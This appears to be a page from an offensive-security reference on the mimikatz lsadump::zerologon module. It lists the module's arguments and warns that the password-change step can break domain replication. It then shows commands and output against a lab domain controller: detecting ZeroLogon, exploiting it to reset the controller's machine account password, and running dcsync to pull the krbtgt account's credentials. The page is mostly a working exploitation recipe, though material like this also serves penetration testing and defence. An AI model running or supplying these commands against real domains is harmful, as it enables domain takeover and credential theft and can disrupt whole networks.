zerologon
lsadump::zerologon detects and exploits the ZeroLogon vulnerability. It has the following command line arguments:/account: the target DC SamAccountName/target: the target DC FQDN/exploit: proceed with exploitation/null: null session authentication/ntlm: use NTLM authentication/type: The Secure Channel Types. The available values are:- Null
- MsvAp
- Workstation
- TrustedDnsDomain
- TrustedDomainUasServer
- Server
- CdcServer
This technique can break the domain's replication services hence leading to massive disruption, running the following "password change" technique is not advised.
mimikatz # lsadump::zerologon /target:dc.hacklab.local /account:dc$
[rpc] Remote : dc.hacklab.local
[rpc] ProtSeq : ncacn_ip_tcp
[rpc] AuthnSvc : NONE (0)
[rpc] NULL Sess: no
Target : dc.hacklab.local
Account: dc$
Type : 6 (Server)
Mode : detect
Trying to 'authenticate'...
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NetrServerAuthenticate2: 0x00000000
* Authentication: OK -- vulnerable
mimikatz # lsadump::zerologon /target:dc.hacklab.local /account:dc$ /exploit
[rpc] Remote : dc.hacklab.local
[rpc] ProtSeq : ncacn_ip_tcp
[rpc] AuthnSvc : NONE (0)
[rpc] NULL Sess: no
Target : dc.hacklab.local
Account: dc$
Type : 6 (Server)
Mode : exploit
Trying to 'authenticate'...
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NetrServerAuthenticate2: 0x00000000
NetrServerPasswordSet2: 0x00000000
* Authentication: OK -- vulnerable
* Set password : OK -- may be unstable
mimikatz # lsadump::dcsync /domain:HACKLAB.LOCAL /dc:dc.hacklab.local /user:krbtgt /authuser:dc$ /authdomain:HACKLAB /authpassword:"" /authntlm
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